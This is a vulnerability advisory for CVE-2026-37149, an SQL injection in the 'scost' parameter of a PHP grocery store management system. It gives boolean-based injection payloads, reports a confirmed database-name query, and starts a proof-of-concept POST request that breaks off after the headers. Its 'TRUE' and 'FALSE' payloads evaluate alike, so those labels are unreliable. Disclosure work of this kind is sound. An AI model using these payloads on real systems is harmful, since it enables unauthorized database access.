CVE-2026-37149

CVE-2026-37149 SQL Injection in GROCERY-STORE-MANAGEMENT-SYSTEM-USING-PHP-AND-MYSQL-PHPMYADMIN v1.0

Overview

CVE ID: CVE-2026-37149 Vulnerability Type: SQL Injection (CWE-89) Severity: High Discoverer: Dhyey Patel

Description

GROCERY-STORE-MANAGEMENT-SYSTEM-USING-PHP-AND-MYSQL-PHPMYADMIN v1.0 contains a SQL Injection vulnerability in the "scost" parameter of "/grocery/search_products.php".

The application fails to properly validate user-supplied input before embedding it into SQL queries. An attacker can inject crafted SQL expressions through the vulnerable parameter and manipulate backend database queries.

Successful exploitation may allow unauthorized access to sensitive database information and execution of arbitrary SQL statements.

Affected Product

Product: GROCERY-STORE-MANAGEMENT-SYSTEM-USING-PHP-AND-MYSQL-PHPMYADMIN

Version: v1.0

Vendor Repository:

https://github.com/anirudhkannanvp/GROCERY-STORE-MANAGEMENT-SYSTEM-USING-PHP-AND-MYSQL-PHPMYADMIN-

Affected Component

• "/grocery/search_products.php"
• POST parameter: "scost"

Attack Type Remote

Vendor Information Open-source project maintained by the repository owner: https://github.com/anirudhkannanvp

Technical Details

The vulnerability was confirmed using Boolean-based SQL Injection techniques.

TRUE Condition Payload

-1 OR 321=6 AND 000483=000483 --

FALSE Condition Payload

-1 OR 320=6 AND 000483=000483 --

Application responses differed based on whether the injected condition evaluated to TRUE or FALSE, confirming SQL Injection.

Further testing confirmed successful execution of SQL functions including:

SELECT database()

The database name returned was:

grocery

This demonstrates that arbitrary SQL queries can be executed through the vulnerable parameter.

Proof of Concept

Request

POST /grocery/search_products.php HTTP/1.1 Host: localhost X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded